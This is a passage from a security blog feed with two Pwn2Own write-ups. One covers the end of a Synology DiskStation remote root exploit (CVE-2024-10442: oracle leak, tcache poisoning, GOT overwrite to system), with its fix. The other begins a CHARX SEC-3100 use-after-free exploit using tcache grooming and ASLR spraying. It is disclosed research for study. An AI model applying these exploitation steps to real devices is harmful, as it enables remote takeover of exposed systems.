&lt;p&gt;Once the fake chunk has been freed and the shifted BSS pointer written, we’ll null out the low 2 bytes of the &lt;code class=&quot;highlighter-rouge&quot;&gt;char*&lt;/code&gt; of a second global &lt;code class=&quot;highlighter-rouge&quot;&gt;std::string&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;g_token&lt;/code&gt;. This corruption will make &lt;code class=&quot;highlighter-rouge&quot;&gt;g_token&lt;/code&gt; point at the same exact spot as &lt;code class=&quot;highlighter-rouge&quot;&gt;_gSnapRecvPath&lt;/code&gt;. That is, at the shifted BSS pointer.&lt;/p&gt;

&lt;p&gt;Recall our earlier functionality discussion of &lt;code class=&quot;highlighter-rouge&quot;&gt;CMD_NAME&lt;/code&gt;, which can add an unintialized &lt;code class=&quot;highlighter-rouge&quot;&gt;g_token&lt;/code&gt; to the JSON file on disk. This is where that fact proves useful, since instead of the “uninitialized” &lt;code class=&quot;highlighter-rouge&quot;&gt;g_token&lt;/code&gt; holding an empty string, it now points at the shifted BSS pointer. Triggering this code path, the JSON file now contains the value we want to leak.&lt;/p&gt;

&lt;p&gt;Also note that before writing &lt;code class=&quot;highlighter-rouge&quot;&gt;g_token&lt;/code&gt; out to disk, we can trigger the null byte write an additional time to truncate the shifted BSS pointer. In this way, we can write out each segment of the pointer. For example, if the shifted pointer is &lt;code class=&quot;highlighter-rouge&quot;&gt;0x766554433&lt;/code&gt;, we can write out each segment from &lt;code class=&quot;highlighter-rouge&quot;&gt;33&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;3344&lt;/code&gt;, … to the full &lt;code class=&quot;highlighter-rouge&quot;&gt;3344556607&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/pwn2own_soho24_synology_json.svg&quot; data-lightbox=&quot;pwn2own_soho24_synology_json.svg&quot; data-title=&quot;&quot;&gt;
    
      &lt;img src=&quot;/assets/img/pwn2own_soho24_synology_json.svg&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;Once the JSON file contains the leak, we can use &lt;code class=&quot;highlighter-rouge&quot;&gt;CMD_TOKEN&lt;/code&gt; as intended, which expects a single string parameter indicating the token to use. This token will be looked up in the JSON file,
and different error codes will be returned based on whether it was found or not. &lt;strong&gt;This creates our second oracle&lt;/strong&gt;, which we can use to implement a byte-by-byte brute force:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Loop &lt;code class=&quot;highlighter-rouge&quot;&gt;b&lt;/code&gt; from 0 to 4 for each of the 5 bytes of the shifted BSS pointer:
    &lt;ol&gt;
      &lt;li&gt;Truncate the pointer to length &lt;code class=&quot;highlighter-rouge&quot;&gt;b+1&lt;/code&gt;, then write the truncated segment into the JSON file&lt;/li&gt;
      &lt;li&gt;Loop over possible bytes &lt;code class=&quot;highlighter-rouge&quot;&gt;0 - 0xff&lt;/code&gt;:
        &lt;ul&gt;
          &lt;li&gt;send &lt;code class=&quot;highlighter-rouge&quot;&gt;CMD_TOKEN&lt;/code&gt; with the guessed byte (prepended with the bytes already known from previous iterations, of length &lt;code class=&quot;highlighter-rouge&quot;&gt;b&lt;/code&gt;)&lt;/li&gt;
          &lt;li&gt;the returned error code will indicate if the supplied byte was correct&lt;/li&gt;
          &lt;li&gt;if correct, we’ve found the byte at index &lt;code class=&quot;highlighter-rouge&quot;&gt;b&lt;/code&gt; of the shifted pointer&lt;/li&gt;
          &lt;li&gt;otherwise, keep trying with the next possible byte&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
    &lt;/ol&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Once this byte-by-byte brute force is complete, we’ll have leaked the shifted BSS pointer, which gives us the base address of the shared library.
Since &lt;code class=&quot;highlighter-rouge&quot;&gt;mmap&lt;/code&gt; mappings are contiguous in virtual memory, this also gives us the address of all shared libraries, most notably libc.&lt;/p&gt;

&lt;h2 id=&quot;hijacking-control-flow&quot;&gt;Hijacking Control Flow&lt;/h2&gt;

&lt;p&gt;Armed with a leak, we are ready to craft a final payload to hijack control flow.&lt;/p&gt;

&lt;p&gt;We already have the ability to free a fake chunk in the payload buffer, and by sending additional commands, we can arbitrarily corrupt this free chunk.
At this point, we can abuse the tcache linked list in the standard way:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;Corrupt the fake chunk’s next pointer with an arbitrary address&lt;/li&gt;
  &lt;li&gt;Allocate something of the same size as the fake chunk
    &lt;ul&gt;
      &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;malloc&lt;/code&gt; will return the fake chunk, then set the new head of the tcache list to the arbitrary address&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Allocate the same size again to have &lt;code class=&quot;highlighter-rouge&quot;&gt;malloc&lt;/code&gt; return the arbitrary address&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;We just have to find some code that matches this pattern of two consecutive allocations.
Luckily, it turns out that the &lt;code class=&quot;highlighter-rouge&quot;&gt;CMD_TOKEN&lt;/code&gt; handler fits this pattern, and after the two allocations are performed, a &lt;code class=&quot;highlighter-rouge&quot;&gt;std::string&lt;/code&gt; temporarily containing our input parameter is destructed, invoking &lt;code class=&quot;highlighter-rouge&quot;&gt;delete&lt;/code&gt; on a &lt;code class=&quot;highlighter-rouge&quot;&gt;char*&lt;/code&gt; with our input.&lt;/p&gt;

&lt;p&gt;This brings us to the following strategy:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;Corrupt the fake tcache chunk’s next pointer to point near the shared library’s GOT entry for &lt;code class=&quot;highlighter-rouge&quot;&gt;delete&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Send a &lt;code class=&quot;highlighter-rouge&quot;&gt;CMD_TOKEN&lt;/code&gt; command&lt;/li&gt;
  &lt;li&gt;The handler will allocate twice from the corrupted tcache, overwriting the GOT entry for &lt;code class=&quot;highlighter-rouge&quot;&gt;delete&lt;/code&gt; with &lt;code class=&quot;highlighter-rouge&quot;&gt;system&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;The subsequent destructor calls &lt;code class=&quot;highlighter-rouge&quot;&gt;delete&lt;/code&gt;, which instead invokes &lt;code class=&quot;highlighter-rouge&quot;&gt;system&lt;/code&gt; with the controlled input string&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;From here it’s game over. We can simply execute &lt;code class=&quot;highlighter-rouge&quot;&gt;/bin/sh&lt;/code&gt; and redirect stdio to the client socket that’s already connected (avoiding the need for a connect-back).&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/pwn2own_soho24_synology_demo.mp4&quot; target=&quot;_blank&quot; data-title=&quot;&quot;&gt;
    
      &lt;video style=&quot;width: 100%&quot; controls=&quot;&quot; playsinline=&quot;&quot; autoplay=&quot;&quot; muted=&quot;&quot; loop=&quot;&quot;&gt;
        &lt;source src=&quot;/assets/img/pwn2own_soho24_synology_demo.mp4&quot; alt=&quot;&quot; /&gt;
      &lt;/video&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;The full exploit code for our submission has been made available &lt;a href=&quot;https://github.com/ret2/Pwn2Own-Ireland2024-DiskStation&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;the-fix&quot;&gt;The Fix&lt;/h2&gt;

&lt;p&gt;The vulnerability was assigned CVE-2024-10442. Synology released a patch relatively quickly for Replication Service on November 5th 2024 (Pwn2Own Ireland took place on October 22nd), which you can find the advisory for &lt;a href=&quot;https://www.synology.com/en-global/security/advisory/Synology_SA_24_22&quot;&gt;here&lt;/a&gt;. ZDI’s advisory can be found &lt;a href=&quot;https://www.zerodayinitiative.com/advisories/ZDI-25-208/&quot;&gt;here&lt;/a&gt;.
The patch modified the &lt;code class=&quot;highlighter-rouge&quot;&gt;recvCmd&lt;/code&gt; function to return an error instead of zero if the supplied header length is too large.&lt;/p&gt;

&lt;div style=&quot;overflow-x: auto; border: 1px solid #444; padding: 1rem;color: rgb(204, 204, 204); background-color: rgb(31, 31, 31); font-family: Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 14px; line-height: 19px; white-space: pre;&quot;&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;if&lt;/span&gt; (&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;cmd&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;header&lt;/span&gt;.&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;len&lt;/span&gt; &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x10000&lt;/span&gt;)&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;1&lt;/span&gt;;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt; // instead of previous return 0&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
The caller then detects this error and bails instead of continuing to process the invalid command.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Although easy to find, this vulnerability was interesting to exploit, in that the null byte write was relatively weak as a primitive. It felt like the sort of bug you’d find in a CTF challenge, and the tcache manipulation and brute force oracles matched the CTF vibe as well.&lt;/p&gt;

&lt;p&gt;On a more serious note, even though it’s in a non-default package, the presence of such a simple vulnerability in a remotely accessible service (running as root) is a bit concerning, especially considering that Synology is a fairly popular consumer and business oriented NAS, and it’s not uncommon for these devices to be exposed to the internet.&lt;/p&gt;</content><author><name>Jack Dates</name></author><summary type="html">In October, we attended Pwn2Own Ireland 2024 and successfully exploited the Synology DiskStation DS1823xs+ to obtain remote code execution as root. This issue has been fixed as CVE-2024-10442. The DiskStation is a popular line of NAS (network-attached storage) products by Synology. It has been succesfully exploited a few times at Pwn2Own events in the past, though it remained untouched in the prior year’s event (Pwn2Own Toronto 2023). Then Ireland 2024 saw three successful entries, all using unique bugs. This post will detail our experience researching the Synology DiskStation and writing an exploit against it for the event. Prepping to throw an exploit at the Synology DiskStation, Pwn2Own Ireland 2024</summary></entry><entry><title type="html">Pwn2Own Automotive: Popping the CHARX SEC-3100</title><link href="https://blog.ret2.io/2024/07/24/pwn2own-auto-2024-charx-exploit/" rel="alternate" type="text/html" title="Pwn2Own Automotive: Popping the CHARX SEC-3100" /><published>2024-07-24T10:00:00+00:00</published><updated>2024-07-24T10:00:00+00:00</updated><id>https://blog.ret2.io/2024/07/24/pwn2own-auto-2024-charx-exploit</id><content type="html" xml:base="https://blog.ret2.io/2024/07/24/pwn2own-auto-2024-charx-exploit/">&lt;p&gt;Our &lt;a href=&quot;https://blog.ret2.io/2024/07/17/pwn2own-auto-2024-charx-bugs/&quot;&gt;previous post&lt;/a&gt; explored some of the bugs we discovered in the &lt;a href=&quot;https://www.phoenixcontact.com/en-us/products/ac-charging-controller-charx-sec-3100-1139012&quot;&gt;CHARX SEC-3100&lt;/a&gt; ControllerAgent service for 
&lt;a href=&quot;https://www.zerodayinitiative.com/blog/2023/8/28/revealing-the-targets-and-rules-for-the-first-pwn2own-automotive&quot;&gt;Pwn2Own Automotive&lt;/a&gt;.
We’ll now walk through how these bugs were weaponized to produce a fully remote exploit.&lt;/p&gt;

&lt;p&gt;We left off with a use-after-free (UAF) primitive. Notably however, the UAF occurs on process teardown (a “one-shot” style bug), and we don’t have any information leaks to easily deal with ASLR (address space layout randomization).&lt;/p&gt;

&lt;p&gt;If you want to try exploiting a similar bug on your own, we’ve hosted a challenge with an adapted version of the same bug pattern on our in-browser WarGames platform &lt;a href=&quot;https://wargames.ret2.systems/level/charxpost_destructors&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/pwn2own_auto24_charx_shell.png&quot; data-lightbox=&quot;pwn2own_auto24_charx_shell.png&quot; data-title=&quot;&quot;&gt;
    
      &lt;img src=&quot;/assets/img/pwn2own_auto24_charx_shell.png&quot; alt=&quot;&quot; style=&quot;width:90%&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;&lt;/p&gt;
    
&lt;/div&gt;

&lt;!--more--&gt;

&lt;h2 id=&quot;traversing-a-freed-list&quot;&gt;Traversing a Freed List&lt;/h2&gt;

&lt;p&gt;To recap, the C++ destructor ordering bug from the &lt;a href=&quot;https://blog.ret2.io/2024/07/17/pwn2own-auto-2024-charx-bugs/&quot;&gt;first post&lt;/a&gt; results in a UAF during object destruction, which occurs within exit handlers during process teardown. We initiate the exit handlers with a null dereference bug (which triggers a signal handler calling &lt;code class=&quot;highlighter-rouge&quot;&gt;exit&lt;/code&gt;). A half-destructed object holds a freed &lt;code class=&quot;highlighter-rouge&quot;&gt;std::list&lt;/code&gt;, which is then iterated over to find a list node entry with a specific ID.&lt;/p&gt;

&lt;p&gt;More specifically, the C++ list contains &lt;code class=&quot;highlighter-rouge&quot;&gt;ClientSession&lt;/code&gt; objects, and the intent of the list iteration is to find the session to shut down and clean up. In other words, we are traversing a freed list.&lt;/p&gt;

&lt;p&gt;The C++ standard library implements &lt;code class=&quot;highlighter-rouge&quot;&gt;std::list&lt;/code&gt; as a linked list, where each node has next / prev pointers followed by the data type inlined:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;std::list&amp;lt;T&amp;gt; {
    std::list_node&amp;lt;T&amp;gt;* head;
    std::list_node&amp;lt;T&amp;gt;* tail;
}

std::list_node&amp;lt;T&amp;gt; {
    std::list_node&amp;lt;T&amp;gt;* next;
    std::list_node&amp;lt;T&amp;gt;* prev;
    T val;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;In the case of &lt;code class=&quot;highlighter-rouge&quot;&gt;ClientSession&lt;/code&gt;, the nodes look like this, having size &lt;code class=&quot;highlighter-rouge&quot;&gt;0x60&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/pwn2own_auto24_charx_node_struct.svg&quot; data-lightbox=&quot;pwn2own_auto24_charx_node_struct.svg&quot; data-title=&quot;&quot;&gt;
    
      &lt;img src=&quot;/assets/img/pwn2own_auto24_charx_node_struct.svg&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
&lt;/div&gt;

&lt;p&gt;The list destructor iterates over each node, starting at the head, and calls &lt;code class=&quot;highlighter-rouge&quot;&gt;delete&lt;/code&gt; on each one. However, for the list “root” itself, it leaves the head / tail pointers alone (i.e. pointing at free memory).
Clearing them would be unnecessary, as a destructed list is invalid anyway.&lt;/p&gt;

&lt;p&gt;After the list is destructed, the &lt;code class=&quot;highlighter-rouge&quot;&gt;ClientConnectionManagerTcp&lt;/code&gt; destructor ends up notifying the &lt;code class=&quot;highlighter-rouge&quot;&gt;ControllerAgent&lt;/code&gt; to invalidate a connection ID.
The invalidation function iterates over the (now-destructed) list, looking for the session with matching connection ID.&lt;/p&gt;

&lt;p&gt;The pseudocode for the list traversal looks something like this:&lt;/p&gt;

&lt;div style=&quot;overflow-x: auto; border: 1px solid #444; padding: 1rem; color: rgb(204, 204, 204); background-color: rgb(31, 31, 31); font-family: Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 14px; line-height: 19px; white-space: pre;&quot;&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;ControllerAgent&lt;/span&gt;::&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;on_client_removed&lt;/span&gt;() {&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;&amp;nbsp; &amp;nbsp; // client_sessions list already destructed! cur pointing at now-freed first list node&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;std&lt;/span&gt;::list_node&lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;&amp;lt;&lt;/span&gt;ClientSession&lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;&amp;gt;*&lt;/span&gt; cur &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;this&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;client_sessions&lt;/span&gt;.&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;head&lt;/span&gt;;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;while&lt;/span&gt; (cur &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;!=&lt;/span&gt; &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;this&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;client_sessions&lt;/span&gt;) {&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;if&lt;/span&gt; (&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;cur&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;m_isConnectionAssigned&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;m_clientConnection&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;vtable&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;get_connection_id&lt;/span&gt;() &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;&amp;lt;&lt;/span&gt;expected ID&lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;&amp;gt;&lt;/span&gt;) {&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // unassign the connection ...&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;break&lt;/span&gt;;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; cur &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;cur&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;next&lt;/span&gt;;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; }&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
Assuming we can control a node along this traversal, we can easily hijack control flow with the virtual call to &lt;code class=&quot;highlighter-rouge&quot;&gt;get_connection_id&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;controlling-a-list-node&quot;&gt;Controlling a List Node&lt;/h2&gt;

&lt;p&gt;To understand how we can control a node, consider the now-freed head of the list, at which the list traversal starts. When this node is freed during the list destructor, the chunk will have a size class of &lt;code class=&quot;highlighter-rouge&quot;&gt;0x68&lt;/code&gt;, and will be placed into the &lt;a href=&quot;https://ir0nstone.gitbook.io/notes/types/heap/the-tcache&quot;&gt;tcache&lt;/a&gt; bin of that size. Fully understanding glibc tcache internals isn’t necessary here; it suffices to say that a tcache bin is just a singly-linked list of free chunks of the same size, where the next pointer is placed at offset 0 in the free chunk.&lt;/p&gt;

&lt;p&gt;So when the head node is freed, the allocator will essentially do&lt;/p&gt;
&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;next&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tcache_bin&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;head&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;tcache_bin&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;head&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Conveniently, the &lt;code class=&quot;highlighter-rouge&quot;&gt;next&lt;/code&gt; pointer from the tcache’s perspective is in the same location as the &lt;code class=&quot;highlighter-rouge&quot;&gt;next&lt;/code&gt; pointer for the &lt;code class=&quot;highlighter-rouge&quot;&gt;std::list_node&lt;/code&gt;. This pointer will be overwritten with whatever is currently the head of the tcache bin, while the remaining contents remain untouched (technically a tcache “key” will also be written at offset 8, which overlaps the &lt;code class=&quot;highlighter-rouge&quot;&gt;prev&lt;/code&gt; pointer, which we don’t care about).&lt;/p&gt;

&lt;p&gt;To sum up, when triggering the UAF list traversal above, the first node will be the mostly-untouched now-freed head of the list, while the remaining iterations will be &lt;strong&gt;&lt;em&gt;traversing the tcache bin&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;It now becomes clear that controlling a list node comes down to two things:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;ensuring the head list node is not “assigned” so the list traversal continues to the 2nd “node” (really a tcache chunk)&lt;/li&gt;
  &lt;li&gt;placing something in the tcache prior to the &lt;code class=&quot;highlighter-rouge&quot;&gt;std::list&amp;lt;ClientSession&amp;gt;&lt;/code&gt; destructor, so we control the 2nd “node”&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The first point is simply logistical in nature. We can connect two clients, then disconnect the first to unassign the session, then finally use the null deref to trigger the exit-handler UAF.&lt;/p&gt;

&lt;h2 id=&quot;populating-the-tcache&quot;&gt;Populating the Tcache&lt;/h2&gt;

&lt;p&gt;We’ve mentioned briefly that there’s a &lt;code class=&quot;highlighter-rouge&quot;&gt;configAccess&lt;/code&gt; operation supported by the JSON TCP messaging. This operation provides read/write access to a small set of configuration variables.&lt;/p&gt;

&lt;p&gt;Internally, the variables are managed by a &lt;code class=&quot;highlighter-rouge&quot;&gt;ConfigurationManager&lt;/code&gt; (a sub-struct of the monolithic &lt;code class=&quot;highlighter-rouge&quot;&gt;ControllerAgent&lt;/code&gt;), and are stored as pairs of &lt;code class=&quot;highlighter-rouge&quot;&gt;std::string&lt;/code&gt;.
Setting these string variables provides a very convenient allocation primitive, and the strings will be freed during the &lt;code class=&quot;highlighter-rouge&quot;&gt;ConfigurationManager&lt;/code&gt; destructor, which occurs prior to the list destructor.&lt;/p&gt;

&lt;p&gt;The only obstacle to overcome is that normally, the configuration strings can’t contain null bytes… A useful trick for dealing with this is realizing that assigning new values to a &lt;code class=&quot;highlighter-rouge&quot;&gt;std::string&lt;/code&gt; does not
necessarily cause a reallocation.&lt;/p&gt;

&lt;p&gt;The standard library implementation will only allocate a new backing store if the current one is too small. Otherwise, the new string will simply get copied into the existing allocation, with a null byte tacked on the end.&lt;/p&gt;

&lt;p&gt;For example, with an existing string of &lt;code class=&quot;highlighter-rouge&quot;&gt;AAAA&lt;/code&gt;, assigning a new string &lt;code class=&quot;highlighter-rouge&quot;&gt;BB&lt;/code&gt; will result in the same allocation being reused, now containing &lt;code class=&quot;highlighter-rouge&quot;&gt;BB\0A&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;So far, the general plan of attack is:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Set a config value to a string of size &lt;code class=&quot;highlighter-rouge&quot;&gt;0x60&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Repeatedly assign smaller strings to embed nulls and construct a fake &lt;code class=&quot;highlighter-rouge&quot;&gt;std::list_node&amp;lt;ClientSession&amp;gt;&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Trigger null deref =&amp;gt; exit handlers / destructors&lt;/li&gt;
  &lt;li&gt;Config string with fake node is freed, placed in tcache&lt;/li&gt;
  &lt;li&gt;The list of sessions is destructed, first node freed into tcache
    &lt;ul&gt;
      &lt;li&gt;The next pointer becomes whatever was in the tcache, i.e. the fake node&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;UAF list traversal goes to 2nd fake node (the freed config string)&lt;/li&gt;
  &lt;li&gt;Hijacked virtual call from fake node’s &lt;code class=&quot;highlighter-rouge&quot;&gt;m_clientConnection&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/pwn2own_auto24_charx_uaf_traversal.svg&quot; data-lightbox=&quot;pwn2own_auto24_charx_uaf_traversal.svg&quot; data-title=&quot;&quot;&gt;
    
      &lt;img src=&quot;/assets/img/pwn2own_auto24_charx_uaf_traversal.svg&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;This leaves one crucial question unanswered: with ASLR, we don’t know where to point the fake &lt;code class=&quot;highlighter-rouge&quot;&gt;m_clientConnection&lt;/code&gt;, where gadgets are, etc.
There are plenty of large buffers in the BSS (e.g. TCP input) in which to place our fake object, if only we knew where they were in memory.&lt;/p&gt;

&lt;p&gt;Without any information leaks on hand, we’ll need to get creative…&lt;/p&gt;

&lt;h2 id=&quot;aslr-entropy&quot;&gt;ASLR Entropy&lt;/h2&gt;

&lt;p&gt;As we saw when discovering the UAF, a system monitor / watchdog restarts the controller agent if it exits, so a brute-force approach of guessing the ASLR slide, crashing, and restarting seems like a viable option. The CHARX SEC-3100 runs 32-bit ARM Linux, which only has 8 bits of ASLR randomization &lt;a href=&quot;https://elixir.bootlin.com/linux/v4.14.93/source/arch/arm/Kconfig#L321&quot;&gt;by default&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;That’s only 256 possible slides, which is relatively brute-forceable.&lt;/p&gt;

&lt;p&gt;One caveat is that each iteration could take upwards of 6 seconds, putting the average / expected runtime until successful exploitation over 25 minutes… a bit too long for comfort. Instead of naively brute-forcing ASLR, we can do much better.&lt;/p&gt;

&lt;h2 id=&quot;aslr-bypass-bss-spraying&quot;&gt;ASLR “Bypass”: BSS Spraying&lt;/h2&gt;

&lt;p&gt;A noticeable feature of the controller agent binary was how massive its BSS segment was, roughly &lt;code class=&quot;highlighter-rouge&quot;&gt;0x1b3000&lt;/code&gt; bytes, or 435 pages. This invited the idea that we could place multiple fake objects in various pages at the same page offset, such that if any of the payloads ended up at the correct address, the exploit would succeed.&lt;/p&gt;

&lt;p&gt;To illustrate, imagine if we had fake objects at un-slid addresses &lt;code class=&quot;highlighter-rouge&quot;&gt;0x1040&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;0x2040&lt;/code&gt;, then guessed address &lt;code class=&quot;highlighter-rouge&quot;&gt;0x2040&lt;/code&gt; as the pointer in our fake list node. This guess would work both with an ASLR slide of 0 or &lt;code class=&quot;highlighter-rouge&quot;&gt;0x1000&lt;/code&gt;. This alone would double the probability of success. With &lt;code class=&quot;highlighter-rouge&quot;&gt;n&lt;/code&gt; fake objects, the probability becomes &lt;code class=&quot;highlighter-rouge&quot;&gt;n / 256&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/pwn2own_auto24_charx_aslr_slides.svg&quot; data-lightbox=&quot;pwn2own_auto24_charx_aslr_slides.svg&quot; data-title=&quot;&quot;&gt;
    
      &lt;img src=&quot;/assets/img/pwn2own_auto24_charx_aslr_slides.svg&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
